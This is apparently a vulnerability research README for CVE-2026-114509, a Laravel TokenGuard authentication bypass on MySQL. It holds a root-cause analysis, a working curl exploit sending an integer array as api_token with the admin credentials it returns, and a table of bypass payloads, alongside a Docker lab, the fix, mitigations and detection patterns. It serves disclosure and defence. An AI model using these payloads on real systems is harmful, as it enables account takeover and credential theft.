
Proof of concept, root-cause analysis, and Docker lab for CVE-2026-114509, an unauthenticated Laravel TokenGuard authentication bypass on MySQL/MariaDB leading to account takeover.
Proof of concept, analysis, and reproducible lab for CVE-2026-114509, an unauthenticated
authentication bypass in Laravel's TokenGuard that leads to account takeover when the
application runs on MySQL or MariaDB.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-114509 |
| Advisory | GHSA-f9x3-7vq9-cph6 |
| CVSS v4.0 | 9.2 (Critical) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-1287 (Improper Validation of Specified Type of Input), CWE-287 (Improper Authentication) |
| Affected | laravel/framework < 12.68.0, >= 13.0.0, < 13.29.0 |
| Fixed in | 12.68.0, 13.29.0 |
| Vector | POST/GET JSON body with api_token as an array of integers |
| Impact | Authentication bypass, account takeover, credential disclosure |
A TokenGuard configured with driver => token and hash => false accepts a non-string
credential. Sending {"api_token":[0]} as a JSON body makes Laravel build
whereIn('api_token', [0]). MySQL then implicitly casts the varchar column to an integer,
so every token that does not start with a digit evaluates to 0 and matches. The first row
of the users table is returned to an unauthenticated attacker.
curl -s -X GET http://target/api/user \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}
Three independent layers must all be present for exploitation.
src/Illuminate/Auth/TokenGuard.php (v11.43.0, vulnerable build):
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
Only empty() is checked. empty([0]) is false because the array holds one element, so
the array passes straight through to the provider. There is no is_string() guard.
IN clausesrc/Illuminate/Auth/EloquentUserProvider.php:
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
} elseif ($value instanceof Closure) {
$value($query);
} else {
$query->where($key, $value);
}
}
An array is interpreted as a list of candidate values, so the query becomes:
select * from `users` where `api_token` in (0)
api_token is a varchar column. Comparing a string column against an integer forces an
implicit cast of the column value to a number:
select cast('admin_secret_token_12345' as unsigned); -- 0
select cast('abc' as unsigned); -- 0
select cast('1abc' as unsigned); -- 1
Every token beginning with a letter casts to 0, therefore where api_token in (0) matches.
PostgreSQL and SQLite reject or misbehave on this comparison, which is why the vulnerability
is specific to MySQL-family databases.
Measured against the lab in this repository (Laravel 11.43.0, MySQL 8.0.46).
| Payload | Transport | HTTP | Result |
|---|---|---|---|
| (none) | — | 401 | rejected |
Bearer wrong_token | header | 401 | rejected |
?api_token=wrong | query string | 401 | rejected |
?api_token[]=0 | query string | 401 | rejected — always a string |
{"api_token":0} | JSON body | 401 | rejected — empty(0) is true |
{"api_token":["0"]} | JSON body | 401 | rejected — string vs varchar |
{"api_token":[1]} | JSON body | 401 | no row with cast value 1 |
{"api_token":[0.5]} | JSON body | 401 | float cast mismatch |
{"api_token":[0]} | JSON body | 200 | bypass |
{"api_token":[0,1]} | JSON body | 200 | bypass |
The payload must arrive as a genuine typed array. Query strings and form encoding always produce strings, which is why the JSON body is required.
A complete Docker lab is included. See docs/reproduction.md for
the full walkthrough, or run it directly:
docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed
Add the lab hostname to /etc/hosts:
echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts
Then verify:
./poc.sh http://angkasagroup.co.id
auth:apiapi_token
when hash => false, which makes the compromise persistentusers is an administrator, the bypass grants
administrative privilegescomposer require laravel/framework:^12.68
The fix is a single type check:
if (is_string($token) && ! empty($token)) {
'hash' => true on the API guard. Hashed storage turns the array into a TypeError
instead of a match.TokenGuard with Laravel Sanctum or Passport, which resolve tokens through a
dedicated hash index rather than an unconstrained whereIn.api_token is not a string:if (! is_string(request()->input('api_token'))) {
abort(401);
}
Application logs will show authentication succeeding without a preceding login. Look for
JSON request bodies where api_token is an array rather than a string:
"api_token":[0]
"api_token":[1]
At the database layer, enable the general query log and alert on:
where `api_token` in (0)
.
├── README.md this document
├── docs/
│ ├── CVE-2026-114509.pdf rendered analysis (this README)
│ └── reproduction.md step-by-step lab walkthrough
├── docker-compose.yml nginx + php-fpm + mysql lab
├── docker/
│ ├── Dockerfile
│ ├── nginx.conf
│ └── php.ini
├── src/ Laravel 11.43.0 application
└── poc.sh verification script
This repository exists for defensive research, patch verification, and authorized security testing. Run it only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is a criminal offense in most jurisdictions.
The lab binds to 127.0.0.1 and is intended for local use only.